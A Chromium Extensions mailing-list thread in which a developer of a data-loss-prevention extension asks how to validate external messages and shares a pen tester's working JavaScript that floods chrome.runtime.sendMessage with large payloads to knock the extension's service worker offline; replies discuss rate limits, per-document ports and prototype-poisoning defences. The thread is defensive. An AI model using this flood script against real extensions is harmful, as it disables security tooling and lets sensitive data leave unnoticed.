Externally connectable and sanitize senders

150 views
Skip to first unread message

Salmin Skenderovic

unread,
Feb 3, 2026, 10:15:42 AMFeb 3
to Chromium Extensions
Hello!
When dealing with externally_connectable, I came across this section of the documentation:

However - when I send messages from the main world, from my own content script,  sender.id is always undefined.

How am I supposed to validate externalMessages?

Manifest:
{
"matches": [
"<all_urls>"
],
"js": [
"src/content-script.js"
],
"run_at": "document_end",
"world": "ISOLATED"
},

Content Script:
chrome.runtime.sendMessage('MY_ID', {})

Background:
chrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => {
console.log(sender.id);
});

Salmin Skenderovic

unread,
Feb 3, 2026, 10:16:36 AMFeb 3
to Chromium Extensions, Salmin Skenderovic
Correction:
world is MAIN, not ISOLATED

Oliver Dunk

unread,
Feb 3, 2026, 10:26:05 AMFeb 3
to Salmin Skenderovic, Chromium Extensions
The primary use case for `sender.id` is when another extension sends your extension a message from its service worker or chrome-extension:// page.

For the situation you have described, `sender.id` is not set. We can't do this because any <script> tags running on the page also execute in the main world - and so the messages sent from your content script and other scripts on the page are indistinguishable.

Instead, you can skip checking `sender.id`, but you will need to treat the message as untrusted since it could have come from either your content script or the web page itself.

If you're able to share what your extension does and what the messaging is used for we might be able to provide more specific guidance about what to do in practice.
Oliver Dunk | DevRel, Chrome Extensions | https://developer.chrome.com/ | London, GB


--
You received this message because you are subscribed to the Google Groups "Chromium Extensions" group.
To unsubscribe from this group and stop receiving emails from it, send an email to chromium-extens...@chromium.org.
To view this discussion visit https://groups.google.com/a/chromium.org/d/msgid/chromium-extensions/57b4d501-da08-498d-9cbb-430b3ac83754n%40chromium.org.

Salmin Skenderovic

unread,
Feb 3, 2026, 10:36:56 AMFeb 3
to Chromium Extensions, Oliver Dunk, Chromium Extensions, Salmin Skenderovic
Our extension is a cyber security DLP extension. We have to inject in the main world to intercept certain payloads, to prevent data loss.

One of our issues is that our own content scripts need to communicate with the service worker, and some of our pen tester has found work-arounds by DoSing the service worker.

Here is an example that a malicious website can use. This causes our service worker to be unresponsive, and the user would be able to exfiltrate sensitive information without our knowledge.
(() => {
const extId = "OUR_ID";
if (!chrome?.runtime?.sendMessage) return;

const payloadMB = 5; // increase if needed
const repeat = 50; // number of sends
const intervalMs = 1000; // lower = more aggressive
const payload = "A".repeat(payloadMB * 1024 * 1024);

let sent = 0;
const t = setInterval(() => {
chrome.runtime.sendMessage(
extId,
{
action: "allowedAction",
message: payload, // has to be dynamic, which is why they can increase the payload size
},
() => {},
);
if (++sent >= repeat) clearInterval(t);
}, intervalMs);

window.stopFlood = () => clearInterval(t);
})();



We are looking into ways to guard from this. Maybe payload size limits. Or message rate limits. All ideas are welcome :) 

Oliver Dunk

unread,
Feb 3, 2026, 11:11:52 AMFeb 3
to Salmin Skenderovic, Chromium Extensions
If you haven't already, I would suggest reporting the denial of service at https://crbug.com/. I expect it may not be considered a security bug but it might still be something we can do more on the platform to prevent.

We are discussing some future APIs for communication between the main world and isolated world, and if these are implemented it might open some new options for you: https://github.com/w3c/webextensions/pull/679

In the meantime, I'm unfortunately not sure of the best way to communicate between your main world content script and the service worker without also opening the communication channel up more broadly.

Oliver Dunk | DevRel, Chrome Extensions | https://developer.chrome.com/ | London, GB

woxxom

unread,
Feb 4, 2026, 5:13:22 AMFeb 4
to Chromium Extensions, Oliver Dunk, Chromium Extensions, Salmin Skenderovic
You can patch sendMessage in the MAIN world and add a check for message size and interval since last call to prevent abuse. Note that your code would have to withstand prototype poisoning and modifications of the globals by the opener before your document_start runs, which you can do by creating a temporary iframe and using its globals the way Violentmonkey does it, however in MV3  it's problematic due to the absence of methods like chrome.dom.executeScript we have to use "userScripts" permission to run a string as code in the MAIN world and that is not allowed for normal extensions in the web store, AFAIK.

woxxom

unread,
Feb 4, 2026, 5:19:21 AMFeb 4
to Chromium Extensions, woxxom, Oliver Dunk, Chromium Extensions, Salmin Skenderovic
BTW, if you don't use the iframe approach I've described, your current code in the MAIN world is most likely vulnerable to hijacking via prototype poisoning anyway even without the need to send a big message.

Oliver Dunk

unread,
Feb 4, 2026, 9:09:15 AMFeb 4
to Salmin Skenderovic, woxxom, Chromium Extensions
Thanks for sharing! That seems like a reasonable approach.

I don't know what guarantees we make around the order in which ports connect but I suspect in practice you will be fine.

Oliver Dunk | DevRel, Chrome Extensions | https://developer.chrome.com/ | London, GB


On Wed, Feb 4, 2026 at 1:51 PM Salmin Skenderovic <sal...@skenderovic.se> wrote:
Oliver:
Our current work-around to prevent DoSing is to use ports, and on the service worker we only allow 1 port per documentId. Since we can run at document_start, our extension will run before any malicious website is able to connect. We don't guard for malicious extensions because if a user is allowed to install malicious extensions, that extension can do whatever it wants in its isolated world and doesn't need to tamper with ours.

Woxxom:
I like your idea. I will look more into it. 
For prototype poisoning - this is something we are addressing as well with Object.freeze and or making copies of native APIs (only works if our extension run before malicious sites).

Salmin Skenderovic

unread,
Feb 4, 2026, 2:00:25 PMFeb 4
to woxxom, Chromium Extensions, Oliver Dunk
Oliver:
Our current work-around to prevent DoSing is to use ports, and on the service worker we only allow 1 port per documentId. Since we can run at document_start, our extension will run before any malicious website is able to connect. We don't guard for malicious extensions because if a user is allowed to install malicious extensions, that extension can do whatever it wants in its isolated world and doesn't need to tamper with ours.

Woxxom:
I like your idea. I will look more into it. 
For prototype poisoning - this is something we are addressing as well with Object.freeze and or making copies of native APIs (only works if our extension run before malicious sites).
On Wed, Feb 4, 2026 at 5:19 AM woxxom <wox...@gmail.com> wrote:
Reply all
Reply to author
Forward
0 new messages